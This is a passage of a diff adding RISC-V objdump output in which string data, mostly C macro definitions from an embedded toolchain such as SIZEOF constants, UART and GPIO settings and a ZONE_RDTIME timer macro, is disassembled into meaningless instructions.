+    640c:	6f69                	lui	t5,0x1a
+    640e:	5f6e                	lw	t5,248(sp)
+    6410:	205f 7628 696f      	0x696f7628205f
+    6416:	2964                	fld	fs1,208(a0)
+    6418:	7b28                	flw	fa0,112(a4)
+    641a:	7320                	flw	fs0,96(a4)
+    641c:	7a69                	lui	s4,0xffffa
+    641e:	5f65                	li	t5,-7
+    6420:	2074                	fld	fa3,192(s0)
+    6422:	5f5f 3b69 6320      	0x63203b695f5f
+    6428:	6168                	flw	fa0,68(a0)
+    642a:	2072                	fld	ft0,280(sp)
+    642c:	5f2a                	lw	t5,168(sp)
+    642e:	745f 706d 3d20      	0x3d20706d745f
+    6434:	2820                	fld	fs0,80(s0)
+    6436:	72616863          	bltu	sp,t1,6b66 <__stack_size+0x6366>
+    643a:	2a20                	fld	fs0,80(a2)
+    643c:	7029                	c.lui	zero,0xfffea
+    643e:	6f66203b          	0x6f66203b
+    6442:	2072                	fld	ft0,280(sp)
+    6444:	5f28                	lw	a0,120(a4)
+    6446:	695f 3d20 3020      	0x30203d20695f
+    644c:	5f5f203b          	0x5f5f203b
+    6450:	2069                	jal	64da <__stack_size+0x5cda>
+    6452:	203c                	fld	fa5,64(s0)
+    6454:	657a6973          	csrrsi	s2,0x657,20
+    6458:	2820666f          	jal	a2,c6da <__stack_size+0xbeda>
+    645c:	282a                	fld	fa6,136(sp)
+    645e:	2970                	fld	fa2,208(a0)
+    6460:	3b29                	jal	617a <__stack_size+0x597a>
+    6462:	2b20                	fld	fs0,80(a4)
+    6464:	695f5f2b          	0x695f5f2b
+    6468:	2029                	jal	6472 <__stack_size+0x5c72>
+    646a:	5f2a                	lw	t5,168(sp)
+    646c:	745f 706d 2b2b      	0x2b2b706d745f
+    6472:	3d20                	fld	fs0,120(a0)
+    6474:	3020                	fld	fs0,96(s0)
+    6476:	297d203b          	0x297d203b
+    647a:	0029                	c.nop	10
+    647c:	5845                	li	a6,-15
+    647e:	5449                	li	s0,-14
+    6480:	535f 4355 4543      	0x45434355535f
+    6486:	30205353          	0x30205353
+    648a:	4c00                	lw	s0,24(s0)
+    648c:	4445                	li	s0,17
+    648e:	475f 4e52 3220      	0x32204e52475f
+    6494:	5500                	lw	s0,40(a0)
+    6496:	5241                	li	tp,-16
+    6498:	5f54                	lw	a3,60(a4)
+    649a:	5854                	lw	a3,52(s0)
+    649c:	4946                	lw	s2,80(sp)
+    649e:	4f46                	lw	t5,80(sp)
+    64a0:	3020                	fld	fs0,96(s0)
+    64a2:	3078                	fld	fa4,224(s0)
+    64a4:	0030                	addi	a2,sp,8
+    64a6:	5f5f 7473 6672      	0x667274735f5f
+    64ac:	6f6d                	lui	t5,0x1b
+    64ae:	6c6e                	flw	fs8,216(sp)
+    64b0:	6b69                	lui	s6,0x1a
+    64b2:	2865                	jal	656a <__stack_size+0x5d6a>
+    64b4:	6d66                	flw	fs10,88(sp)
+    64b6:	6174                	flw	fa3,68(a0)
+    64b8:	6772                	flw	fa4,28(sp)
+    64ba:	662c                	flw	fa1,72(a2)
+    64bc:	7269                	lui	tp,0xffffa
+    64be:	61767473          	csrrci	s0,0x617,12
+    64c2:	6172                	flw	ft2,28(sp)
+    64c4:	6772                	flw	fa4,28(sp)
+    64c6:	2029                	jal	64d0 <__stack_size+0x5cd0>
+    64c8:	5f5f 7461 7274      	0x727474615f5f
+    64ce:	6269                	lui	tp,0x1a
+    64d0:	7475                	lui	s0,0xffffd
+    64d2:	5f65                	li	t5,-7
+    64d4:	285f 5f28 665f      	0x665f5f28285f
+    64da:	616d726f          	jal	tp,ddaf0 <__stack_size+0xdd2f0>
+    64de:	5f74                	lw	a3,124(a4)
+    64e0:	205f 5f28 735f      	0x735f5f28205f
+    64e6:	7274                	flw	fa3,100(a2)
+    64e8:	6d66                	flw	fs10,88(sp)
+    64ea:	5f5f6e6f          	jal	t3,fd2de <__stack_size+0xfcade>
+    64ee:	202c                	fld	fa1,64(s0)
+    64f0:	6d66                	flw	fs10,88(sp)
+    64f2:	6174                	flw	fa3,68(a0)
+    64f4:	6772                	flw	fa4,28(sp)
+    64f6:	202c                	fld	fa1,64(s0)
+    64f8:	6966                	flw	fs2,88(sp)
+    64fa:	7372                	flw	ft6,60(sp)
+    64fc:	7674                	flw	fa3,108(a2)
+    64fe:	7261                	lui	tp,0xffff8
+    6500:	7261                	lui	tp,0xffff8
+    6502:	29292967          	0x29292967
+    6506:	4900                	lw	s0,16(a0)
+    6508:	544e                	lw	s0,240(sp)
+    650a:	4d5f3233          	0x4d5f3233
+    650e:	4e49                	li	t3,18
+    6510:	2820                	fld	fs0,80(s0)
+    6512:	492d                	li	s2,11
+    6514:	544e                	lw	s0,240(sp)
+    6516:	4d5f3233          	0x4d5f3233
+    651a:	5841                	li	a6,-16
+    651c:	2d20                	fld	fs0,88(a0)
+    651e:	3120                	fld	fs0,96(a0)
+    6520:	0029                	c.nop	10
+    6522:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
+    6526:	4c5f 574f 495f      	0x495f574f4c5f
+    652c:	2045                	jal	65cc <__stack_size+0x5dcc>
+    652e:	7830                	flw	fa2,112(s0)
+    6530:	5f003033          	0x5f003033
+    6534:	4c5f 4244 5f4c      	0x5f4c42444c5f
+    653a:	414d                	li	sp,19
+    653c:	5f58                	lw	a4,60(a4)
+    653e:	205f 2e31 3831      	0x38312e31205f
+    6544:	3739                	jal	6452 <__stack_size+0x5c52>
+    6546:	39343133          	0x39343133
+    654a:	3335                	jal	6276 <__stack_size+0x5a76>
+    654c:	3735                	jal	6478 <__stack_size+0x5c78>
+    654e:	3332                	fld	ft6,296(sp)
+    6550:	3731                	jal	645c <__stack_size+0x5c5c>
+    6552:	3536                	fld	fa0,360(sp)
+    6554:	3830                	fld	fa2,112(s0)
+    6556:	3735                	jal	6482 <__stack_size+0x5c82>
+    6558:	3935                	jal	6194 <__stack_size+0x5994>
+    655a:	36363233          	0x36363233
+    655e:	3832                	fld	fa6,296(sp)
+    6560:	3030                	fld	fa2,96(s0)
+    6562:	65323037          	lui	zero,0x65323
+    6566:	3339342b          	0x3339342b
+    656a:	4c32                	lw	s8,12(sp)
+    656c:	5500                	lw	s0,40(a0)
+    656e:	4e49                	li	t3,18
+    6570:	3854                	fld	fa3,176(s0)
+    6572:	435f 5f00 4552      	0x45525f00435f
+    6578:	4e45                	li	t3,17
+    657a:	5f54                	lw	a3,60(a4)
+    657c:	54524357          	0x54524357
+    6580:	5f424d4f          	fnmadd.q	fs10,ft4,fs4,fa1,rmm
+    6584:	54415453          	0x54415453
+    6588:	2845                	jal	6638 <__stack_size+0x5e38>
+    658a:	7470                	flw	fa2,108(s0)
+    658c:	2972                	fld	fs2,280(sp)
+    658e:	2820                	fld	fs0,80(s0)
+    6590:	7028                	flw	fa0,96(s0)
+    6592:	7274                	flw	fa3,100(a2)
+    6594:	2d29                	jal	6bae <__stack_size+0x63ae>
+    6596:	5f3e                	lw	t5,236(sp)
+    6598:	656e                	flw	fa0,216(sp)
+    659a:	725f2e77          	0x725f2e77
+    659e:	6565                	lui	a0,0x19
+    65a0:	746e                	flw	fs0,248(sp)
+    65a2:	5f2e                	lw	t5,232(sp)
+    65a4:	74726377          	0x74726377
+    65a8:	5f626d6f          	jal	s10,2cb9e <__stack_size+0x2c39e>
+    65ac:	74617473          	csrrci	s0,0x746,2
+    65b0:	2965                	jal	6a68 <__stack_size+0x6268>
+    65b2:	5f00                	lw	s0,56(a4)
+    65b4:	535f 5a49 5f45      	0x5f455a49535f
+    65ba:	2054                	fld	fa3,128(s0)
+    65bc:	5f00                	lw	s0,56(a4)
+    65be:	435f 4148 3352      	0x33524148435f
+    65c4:	5f32                	lw	t5,44(sp)
+    65c6:	5954                	lw	a3,52(a0)
+    65c8:	4550                	lw	a2,12(a0)
+    65ca:	5f5f 6c20 6e6f      	0x6e6f6c205f5f
+    65d0:	6e752067          	0x6e752067
+    65d4:	6e676973          	csrrsi	s2,0x6e6,14
+    65d8:	6465                	lui	s0,0x19
+    65da:	6920                	flw	fs0,80(a0)
+    65dc:	746e                	flw	fs0,248(sp)
+    65de:	5f00                	lw	s0,56(a4)
+    65e0:	4c5f 6e6f 2067      	0x20676e6f4c5f
+    65e6:	6f6c                	flw	fa1,92(a4)
+    65e8:	676e                	flw	fa4,216(sp)
+    65ea:	5f00                	lw	s0,56(a4)
+    65ec:	475f 4343 415f      	0x415f4343475f
+    65f2:	4f54                	lw	a3,28(a4)
+    65f4:	494d                	li	s2,19
+    65f6:	48535f43          	fmadd.s	ft10,ft6,ft5,fs1,unknown
+    65fa:	5f54524f          	fnmadd.q	ft4,fs0,fs5,fa1,unknown
+    65fe:	4f4c                	lw	a1,28(a4)
+    6600:	465f4b43          	fmadd.q	fs6,ft10,ft5,fs0,rmm
+    6604:	4552                	lw	a0,20(sp)
+    6606:	2045                	jal	66a6 <__stack_size+0x5ea6>
+    6608:	0031                	c.nop	12
+    660a:	475f 4343 4c5f      	0x4c5f4343475f
+    6610:	4d49                	li	s10,18
+    6612:	5449                	li	s0,-14
+    6614:	5f485f53          	0x5f485f53
+    6618:	0020                	addi	s0,sp,8
+    661a:	5f46                	lw	t5,112(sp)
+    661c:	46544547          	fmsub.q	fa0,fs0,ft5,fs0,rmm
+    6620:	2044                	fld	fs1,128(s0)
+    6622:	0031                	c.nop	12
+    6624:	535f 5f43 5341      	0x53415f43535f
+    662a:	4e59                	li	t3,22
+    662c:	4f524843          	fmadd.q	fa6,ft4,fs5,fs1,rmm
+    6630:	4f4e                	lw	t5,208(sp)
+    6632:	5355                	li	t1,-11
+    6634:	495f 204f 3132      	0x3132204f495f
+    663a:	5f00                	lw	s0,56(a4)
+    663c:	5f535953          	0x5f535953
+    6640:	45484353          	0x45484353
+    6644:	5f44                	lw	s1,60(a4)
+    6646:	5f48                	lw	a0,60(a4)
+    6648:	0020                	addi	s0,sp,8
+    664a:	5f5f 4953 455a      	0x455a49535f5f
+    6650:	505f464f          	fnmadd.s	fa2,ft10,ft5,fa0,rmm
+    6654:	544e494f          	0x544e494f
+    6658:	5245                	li	tp,-15
+    665a:	5f5f 3420 4100      	0x410034205f5f
+    6660:	4c4c                	lw	a1,28(s0)
+    6662:	4550                	lw	a2,12(a0)
+    6664:	4d52                	lw	s10,20(sp)
+    6666:	53282053          	0x53282053
+    666a:	495f 5553 4449      	0x44495553495f
+    6670:	7c20                	flw	fs0,120(s0)
+    6672:	5320                	lw	s0,96(a4)
+    6674:	495f 4753 4449      	0x44494753495f
+    667a:	7c20                	flw	fs0,120(s0)
+    667c:	5320                	lw	s0,96(a4)
+    667e:	495f 5653 5854      	0x58545653495f
+    6684:	7c20                	flw	fs0,120(s0)
+    6686:	5320                	lw	s0,96(a4)
+    6688:	495f 5752 5558      	0x55585752495f
+    668e:	7c20                	flw	fs0,120(s0)
+    6690:	5320                	lw	s0,96(a4)
+    6692:	495f 5752 4758      	0x47585752495f
+    6698:	7c20                	flw	fs0,120(s0)
+    669a:	5320                	lw	s0,96(a4)
+    669c:	495f 5752 4f58      	0x4f585752495f
+    66a2:	0029                	c.nop	10
+    66a4:	5f5f 7570 6572      	0x657275705f5f
+    66aa:	5f20                	lw	s0,120(a4)
+    66ac:	615f 7474 6972      	0x69727474615f
+    66b2:	7562                	flw	fa0,56(sp)
+    66b4:	6574                	flw	fa3,76(a0)
+    66b6:	5f5f 2828 5f5f      	0x5f5f28285f5f
+    66bc:	7570                	flw	fa2,108(a0)
+    66be:	6572                	flw	fa0,28(sp)
+    66c0:	5f5f 2929 5f00      	0x5f0029295f5f
+    66c6:	465f 544c 3231      	0x3231544c465f
+    66cc:	5f38                	lw	a4,120(a4)
+    66ce:	4f4e                	lw	t5,208(sp)
+    66d0:	4d52                	lw	s10,20(sp)
+    66d2:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    66d8:	3120                	fld	fs0,96(a0)
+    66da:	312e                	fld	ft2,232(sp)
+    66dc:	3938                	fld	fa4,112(a0)
+    66de:	34313337          	lui	t1,0x34313
+    66e2:	3539                	jal	64f0 <__stack_size+0x5cf0>
+    66e4:	32373533          	0x32373533
+    66e8:	36373133          	0x36373133
+    66ec:	3035                	jal	5f18 <__stack_size+0x5718>
+    66ee:	3538                	fld	fa4,104(a0)
+    66f0:	33393537          	lui	a0,0x33393
+    66f4:	3632                	fld	fa2,296(sp)
+    66f6:	3236                	fld	ft4,360(sp)
+    66f8:	3038                	fld	fa4,96(s0)
+    66fa:	3730                	fld	fa2,104(a4)
+    66fc:	3230                	fld	fa2,96(a2)
+    66fe:	2b65                	jal	6cb6 <__stack_size+0x64b6>
+    6700:	3934                	fld	fa3,112(a0)
+    6702:	31463233          	0x31463233
+    6706:	3832                	fld	fa6,296(sp)
+    6708:	4d00                	lw	s0,24(a0)
+    670a:	4f5a                	lw	t5,148(sp)
+    670c:	454e                	lw	a0,208(sp)
+    670e:	525f 5444 4d49      	0x4d495444525f
+    6714:	2845                	jal	67c4 <__stack_size+0x5fc4>
+    6716:	2029                	jal	6720 <__stack_size+0x5f20>
+    6718:	7b28                	flw	fa0,112(a4)
+    671a:	7220                	flw	fs0,96(a2)
+    671c:	6765                	lui	a4,0x19
+    671e:	7369                	lui	t1,0xffffa
+    6720:	6574                	flw	fa3,76(a0)
+    6722:	2072                	fld	ft0,280(sp)
+    6724:	6975                	lui	s2,0x1d
+    6726:	746e                	flw	fs0,248(sp)
+    6728:	745f3233          	0x745f3233
+    672c:	6120                	flw	fs0,64(a0)
+    672e:	2030                	fld	fa2,64(s0)
+    6730:	7361                	lui	t1,0xffff8
+    6732:	206d                	jal	67dc <__stack_size+0x5fdc>
+    6734:	2228                	fld	fa0,64(a2)
+    6736:	3061                	jal	5fbe <__stack_size+0x57be>
+    6738:	2922                	fld	fs2,8(sp)
+    673a:	202c                	fld	fa1,64(s0)
+    673c:	3161                	jal	63c4 <__stack_size+0x5bc4>
+    673e:	6120                	flw	fs0,64(a0)
+    6740:	28206d73          	csrrsi	s10,0x282,0
+    6744:	6122                	flw	ft2,8(sp)
+    6746:	2231                	jal	6852 <__stack_size+0x6052>
+    6748:	3b29                	jal	6462 <__stack_size+0x5c62>
+    674a:	6120                	flw	fs0,64(a0)
+    674c:	76206d73          	csrrsi	s10,0x762,0
+    6750:	74616c6f          	jal	s8,1ce96 <__stack_size+0x1c696>
+    6754:	6c69                	lui	s8,0x1a
+    6756:	2065                	jal	67fe <__stack_size+0x5ffe>
+    6758:	2228                	fld	fa0,64(a2)
+    675a:	696c                	flw	fa1,84(a0)
+    675c:	6120                	flw	fs0,64(a0)
+    675e:	2c30                	fld	fa2,88(s0)
+    6760:	3420                	fld	fs0,104(s0)
+    6762:	6d20223b          	0x6d20223b
+    6766:	6f7a                	flw	ft10,156(sp)
+    6768:	656e                	flw	fa0,216(sp)
+    676a:	3a20                	fld	fs0,112(a2)
+    676c:	2220                	fld	fs0,64(a2)
+    676e:	723d                	lui	tp,0xfffef
+    6770:	2822                	fld	fa6,8(sp)
+    6772:	3061                	jal	5ffa <__stack_size+0x57fa>
+    6774:	2c29                	jal	698e <__stack_size+0x618e>
+    6776:	2220                	fld	fs0,64(a2)
+    6778:	723d                	lui	tp,0xfffef
+    677a:	2822                	fld	fa6,8(sp)
+    677c:	3161                	jal	6404 <__stack_size+0x5c04>
+    677e:	2929                	jal	6b98 <__stack_size+0x6398>
+    6780:	7528203b          	0x7528203b
+    6784:	6e69                	lui	t3,0x1a
+    6786:	3674                	fld	fa3,232(a2)
+    6788:	5f34                	lw	a3,120(a4)
+    678a:	2974                	fld	fa3,208(a0)
+    678c:	3161                	jal	6414 <__stack_size+0x5c14>
+    678e:	3c3c                	fld	fa5,120(s0)
+    6790:	7c203233          	0x7c203233
+    6794:	6120                	flw	fs0,64(a0)
+    6796:	3b30                	fld	fa2,112(a4)
+    6798:	7d20                	flw	fs0,120(a0)
+    679a:	0029                	c.nop	10
+    679c:	4955                	li	s2,21
+    679e:	544e                	lw	s0,240(sp)
+    67a0:	4c5f 4145 5453      	0x545341454c5f
+    67a6:	3436                	fld	fs0,360(sp)
+    67a8:	4d5f 5841 5f20      	0x5f2058414d5f
+    67ae:	555f 4e49 5f54      	0x5f544e49555f
+    67b4:	454c                	lw	a1,12(a0)
+    67b6:	5341                	li	t1,-16
+    67b8:	3654                	fld	fa3,168(a2)
+    67ba:	5f34                	lw	a3,120(a4)
+    67bc:	414d                	li	sp,19
+    67be:	5f58                	lw	a4,60(a4)
+    67c0:	005f 4d5f 444f      	0x444f4d5f005f
+    67c6:	5f45                	li	t5,-15
+    67c8:	5f54                	lw	a3,60(a4)
+    67ca:	4544                	lw	s1,12(a0)
+    67cc:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    67d0:	4445                	li	s0,17
+    67d2:	0020                	addi	s0,sp,8
+    67d4:	545f 535f 5a49      	0x5a49535f545f
+    67da:	2045                	jal	687a <__stack_size+0x607a>
+    67dc:	4600                	lw	s0,8(a2)
+    67de:	424e                	lw	tp,208(sp)
+    67e0:	4f49                	li	t5,18
+    67e2:	5f20                	lw	s0,120(a4)
+    67e4:	4e46                	lw	t3,80(sp)
+    67e6:	4942                	lw	s2,16(sp)
+    67e8:	7a74004f          	fnmadd.d	ft0,fs0,ft7,fa5,rne
+    67ec:	616e                	flw	ft2,216(sp)
+    67ee:	656d                	lui	a0,0x1b
+    67f0:	5f20                	lw	s0,120(a4)
+    67f2:	7a74                	flw	fa3,116(a2)
+    67f4:	616e                	flw	ft2,216(sp)
+    67f6:	656d                	lui	a0,0x1b
+    67f8:	5f00                	lw	s0,56(a4)
+    67fa:	495f 544e 5450      	0x5450544e495f
+    6800:	5f52                	lw	t5,52(sp)
+    6802:	54444957          	0x54444957
+    6806:	5f48                	lw	a0,60(a4)
+    6808:	205f 3233 5f00      	0x5f003233205f
+    680e:	535f4353          	0x535f4353
+    6812:	4d45                	li	s10,17
+    6814:	5041                	c.li	zero,-16
+    6816:	4f48                	lw	a0,28(a4)
+    6818:	4552                	lw	a0,20(sp)
+    681a:	30332053          	0x30332053
+    681e:	5f00                	lw	s0,56(a4)
+    6820:	585f4353          	0x585f4353
+    6824:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
+    6828:	535f 5254 4145      	0x41455254535f
+    682e:	534d                	li	t1,-13
+    6830:	3120                	fld	fs0,96(a0)
+    6832:	3430                	fld	fa2,104(s0)
+    6834:	5f00                	lw	s0,56(a4)
+    6836:	745f 7972 6f6c      	0x6f6c7972745f
+    683c:	5f736b63          	bltu	t1,s7,6e32 <__stack_size+0x6632>
+    6840:	72616873          	csrrsi	a6,0x726,2
+    6844:	6465                	lui	s0,0x19
+    6846:	2e28                	fld	fa0,88(a2)
+    6848:	2e2e                	fld	ft8,200(sp)
+    684a:	2029                	jal	6854 <__stack_size+0x6054>
+    684c:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    6852:	615f 6e6e 746f      	0x746f6e6e615f
+    6858:	7461                	lui	s0,0xffff8
+    685a:	2865                	jal	6912 <__stack_size+0x6112>
+    685c:	72616873          	csrrsi	a6,0x726,2
+    6860:	6465                	lui	s0,0x19
+    6862:	745f 7972 6f6c      	0x6f6c7972745f
+    6868:	665f6b63          	bltu	t5,t0,6ede <__stack_size+0x66de>
+    686c:	6e75                	lui	t3,0x1d
+    686e:	6f697463          	bgeu	s2,s6,6f56 <__stack_size+0x6756>
+    6872:	286e                	fld	fa6,216(sp)
+    6874:	5f5f 4156 415f      	0x415f41565f5f
+    687a:	4752                	lw	a4,20(sp)
+    687c:	295f5f53          	0x295f5f53
+    6880:	0029                	c.nop	10
+    6882:	525f 4545 544e      	0x544e4545525f
+    6888:	535f 5254 4f54      	0x4f545254535f
+    688e:	414c5f4b          	fnmsub.s	ft10,fs8,fs4,fs0,unknown
+    6892:	70285453          	0x70285453
+    6896:	7274                	flw	fa3,100(a2)
+    6898:	2029                	jal	68a2 <__stack_size+0x60a2>
+    689a:	2828                	fld	fa0,80(s0)
+    689c:	7470                	flw	fa2,108(s0)
+    689e:	2972                	fld	fs2,280(sp)
+    68a0:	3e2d                	jal	63da <__stack_size+0x5bda>
+    68a2:	6e5f 7765 5f2e      	0x5f2e77656e5f
+    68a8:	6572                	flw	fa0,28(sp)
+    68aa:	6e65                	lui	t3,0x19
+    68ac:	2e74                	fld	fa3,216(a2)
+    68ae:	735f 7274 6f74      	0x6f747274735f
+    68b4:	616c5f6b          	0x616c5f6b
+    68b8:	00297473          	csrrci	s0,frm,18
+    68bc:	5f5f 695f 746e      	0x746e695f5f5f
+    68c2:	6c5f 6165 7473      	0x747361656c5f
+    68c8:	5f38                	lw	a4,120(a4)
+    68ca:	5f74                	lw	a3,124(a4)
+    68cc:	6564                	flw	fs1,76(a0)
+    68ce:	6966                	flw	fs2,88(sp)
+    68d0:	656e                	flw	fa0,216(sp)
+    68d2:	2064                	fld	fs1,192(s0)
+    68d4:	0031                	c.nop	12
+    68d6:	4e49                	li	t3,18
+    68d8:	5054                	lw	a3,36(s0)
+    68da:	5254                	lw	a3,36(a2)
+    68dc:	4d5f 4e49 5f00      	0x5f004e494d5f
+    68e2:	635f 6f6c 6b63      	0x6b636f6c635f
+    68e8:	745f 645f 6665      	0x6665645f745f
+    68ee:	6e69                	lui	t3,0x1a
+    68f0:	6465                	lui	s0,0x19
+    68f2:	0020                	addi	s0,sp,8
+    68f4:	5f5f 4c46 3654      	0x36544c465f5f
+    68fa:	5f34                	lw	a3,120(a4)
+    68fc:	414d                	li	sp,19
+    68fe:	544e                	lw	s0,240(sp)
+    6900:	445f 4749 5f5f      	0x5f5f4749445f
+    6906:	3520                	fld	fs0,104(a0)
+    6908:	5f5f0033          	0x5f5f0033
+    690c:	6572                	flw	fa0,28(sp)
+    690e:	746c7573          	csrrci	a0,0x746,24
+    6912:	755f 6573 635f      	0x635f6573755f
+    6918:	6568                	flw	fa0,76(a0)
+    691a:	5f206b63          	bltu	zero,s2,6f10 <__stack_size+0x6710>
+    691e:	615f 7474 6972      	0x69727474615f
+    6924:	7562                	flw	fa0,56(sp)
+    6926:	6574                	flw	fa3,76(a0)
+    6928:	5f5f 2828 5f5f      	0x5f5f28285f5f
+    692e:	6e726177          	0x6e726177
+    6932:	755f 756e 6573      	0x6573756e755f
+    6938:	5f64                	lw	s1,124(a4)
+    693a:	6572                	flw	fa0,28(sp)
+    693c:	746c7573          	csrrci	a0,0x746,24
+    6940:	5f5f 2929 5f00      	0x5f0029295f5f
+    6946:	575f 4843 5241      	0x52414843575f
+    694c:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    6952:	3020                	fld	fs0,96(s0)
+    6954:	3778                	fld	fa4,232(a4)
+    6956:	6666                	flw	fa2,88(sp)
+    6958:	6666                	flw	fa2,88(sp)
+    695a:	6666                	flw	fa2,88(sp)
+    695c:	0066                	c.slli	zero,0x19
+    695e:	5f5f 4e47 4355      	0x43554e475f5f
+    6964:	505f 4552 4552      	0x45524552505f
+    696a:	2851                	jal	69fe <__stack_size+0x61fe>
+    696c:	616d                	addi	sp,sp,240
+    696e:	2c6a                	fld	fs8,152(sp)
+    6970:	696d                	lui	s2,0x1b
+    6972:	296e                	fld	fs2,216(sp)
+    6974:	2820                	fld	fs0,80(s0)
+    6976:	5f28                	lw	a0,120(a4)
+    6978:	475f 554e 5f43      	0x5f43554e475f
+    697e:	205f 3c3c 3120      	0x31203c3c205f
+    6984:	2936                	fld	fs2,328(sp)
+    6986:	2b20                	fld	fs0,80(a4)
+    6988:	5f20                	lw	s0,120(a4)
+    698a:	475f 554e 5f43      	0x5f43554e475f
+    6990:	494d                	li	s2,19
+    6992:	4f4e                	lw	t5,208(sp)
+    6994:	5f52                	lw	t5,52(sp)
+    6996:	205f 3d3e 2820      	0x28203d3e205f
+    699c:	6d28                	flw	fa0,88(a0)
+    699e:	6a61                	lui	s4,0x18
+    69a0:	2029                	jal	69aa <__stack_size+0x61aa>
+    69a2:	3c3c                	fld	fa5,120(s0)
+    69a4:	3120                	fld	fs0,96(a0)
+    69a6:	2936                	fld	fs2,328(sp)
+    69a8:	2b20                	fld	fs0,80(a4)
+    69aa:	2820                	fld	fs0,80(s0)
+    69ac:	696d                	lui	s2,0x1b
+    69ae:	296e                	fld	fs2,216(sp)
+    69b0:	0029                	c.nop	10
+    69b2:	57495f53          	0x57495f53
+    69b6:	5355                	li	t1,-11
+    69b8:	2052                	fld	ft0,272(sp)
+    69ba:	3030                	fld	fa2,96(s0)
+    69bc:	3030                	fld	fa2,96(s0)
+    69be:	3032                	fld	ft0,296(sp)
+    69c0:	0030                	addi	a2,sp,8
+    69c2:	5f5f 4c46 3654      	0x36544c465f5f
+    69c8:	5f34                	lw	a3,120(a4)
+    69ca:	4148                	lw	a0,4(a0)
+    69cc:	4e495f53          	0x4e495f53
+    69d0:	4946                	lw	s2,80(sp)
+    69d2:	494e                	lw	s2,208(sp)
+    69d4:	5954                	lw	a3,52(a0)
+    69d6:	5f5f 3120 5f00      	0x5f0031205f5f
+    69dc:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
+    69e2:	4f4c                	lw	a1,28(a4)
+    69e4:	474e                	lw	a4,208(sp)
+    69e6:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    69ec:	3020                	fld	fs0,96(s0)
+    69ee:	3778                	fld	fa4,232(a4)
+    69f0:	6666                	flw	fa2,88(sp)
+    69f2:	6666                	flw	fa2,88(sp)
+    69f4:	6666                	flw	fa2,88(sp)
+    69f6:	6666                	flw	fa2,88(sp)
+    69f8:	6666                	flw	fa2,88(sp)
+    69fa:	6666                	flw	fa2,88(sp)
+    69fc:	6666                	flw	fa2,88(sp)
+    69fe:	4c66                	lw	s8,88(sp)
+    6a00:	004c                	addi	a1,sp,4
+    6a02:	5f5f 4c46 3654      	0x36544c465f5f
+    6a08:	5834                	lw	a3,112(s0)
+    6a0a:	4d5f 5841 455f      	0x455f58414d5f
+    6a10:	5058                	lw	a4,36(s0)
+    6a12:	5f5f 3120 3336      	0x333631205f5f
+    6a18:	3438                	fld	fa4,104(s0)
+    6a1a:	5f00                	lw	s0,56(a4)
+    6a1c:	5f54                	lw	a3,60(a4)
+    6a1e:	41484357          	0x41484357
+    6a22:	5f52                	lw	t5,52(sp)
+    6a24:	0020                	addi	s0,sp,8
+    6a26:	485f 5641 5f45      	0x5f455641485f
+    6a2c:	495f4343          	fmadd.s	ft6,ft10,fs5,fs1,rmm
+    6a30:	484e                	lw	a6,208(sp)
+    6a32:	4249                	li	tp,18
+    6a34:	5449                	li	s0,-14
+    6a36:	4c5f 4f4f 5f50      	0x5f504f4f4c5f
+    6a3c:	4f54                	lw	a3,28(a4)
+    6a3e:	4c5f 4249 4143      	0x414342494c5f
+    6a44:	4c4c                	lw	a1,28(s0)
+    6a46:	3120                	fld	fs0,96(a0)
+    6a48:	5f00                	lw	s0,56(a4)
+    6a4a:	435f 4e4f 4143      	0x41434e4f435f
+    6a50:	3154                	fld	fa3,160(a0)
+    6a52:	7828                	flw	fa0,112(s0)
+    6a54:	792c                	flw	fa1,112(a0)
+    6a56:	2029                	jal	6a60 <__stack_size+0x6260>
+    6a58:	2078                	fld	fa4,192(s0)
+    6a5a:	79202323          	sw	s2,1926(zero) # 786 <__stack_size-0x7a>
+    6a5e:	5500                	lw	s0,40(a0)
+    6a60:	4f4c                	lw	a1,28(a4)
+    6a62:	474e                	lw	a4,208(sp)
+    6a64:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
+    6a6a:	414d                	li	sp,19
+    6a6c:	2058                	fld	fa4,128(s0)
+    6a6e:	4c28                	lw	a0,88(s0)
+    6a70:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    6a74:	4f4c                	lw	a1,28(a4)
+    6a76:	474e                	lw	a4,208(sp)
+    6a78:	4d5f 5841 2a20      	0x2a2058414d5f
+    6a7e:	3220                	fld	fs0,96(a2)
+    6a80:	4c55                	li	s8,21
+    6a82:	204c                	fld	fa1,128(s0)
+    6a84:	5531202b          	0x5531202b
+    6a88:	4c4c                	lw	a1,28(s0)
+    6a8a:	0029                	c.nop	10
+    6a8c:	5f5f 4352 4953      	0x495343525f5f
+    6a92:	5f44                	lw	s1,60(a4)
+    6a94:	52554f53          	0x52554f53
+    6a98:	73284543          	fmadd.d	fa0,fa6,fs2,fa4,rmm
+    6a9c:	2029                	jal	6aa6 <__stack_size+0x62a6>
+    6a9e:	75727473          	csrrci	s0,0x757,4
+    6aa2:	5f207463          	bgeu	zero,s2,708a <__stack_size+0x688a>
+    6aa6:	685f 6361 006b      	0x6b6361685f
+    6aac:	656d                	lui	a0,0x1b
+    6aae:	6370                	flw	fa2,68(a4)
+    6ab0:	4600                	lw	s0,8(a2)
+    6ab2:	555f 4c4e 4b43      	0x4b434c4e555f
+    6ab8:	3320                	fld	fs0,96(a4)
+    6aba:	4900                	lw	s0,16(a0)
+    6abc:	544e                	lw	s0,240(sp)
+    6abe:	3436                	fld	fs0,360(sp)
+    6ac0:	435f 6328 2029      	0x20296328435f
+    6ac6:	5f5f 4e49 3654      	0x36544e495f5f
+    6acc:	5f34                	lw	a3,120(a4)
+    6ace:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    6ad2:	5f00                	lw	s0,56(a4)
+    6ad4:	475f 4343 415f      	0x415f4343475f
+    6ada:	4f54                	lw	a3,28(a4)
+    6adc:	494d                	li	s2,19
+    6ade:	4c4c5f43          	0x4c4c5f43
+    6ae2:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    6ae6:	4f4c                	lw	a1,28(a4)
+    6ae8:	465f4b43          	fmadd.q	fs6,ft10,ft5,fs0,rmm
+    6aec:	4552                	lw	a0,20(sp)
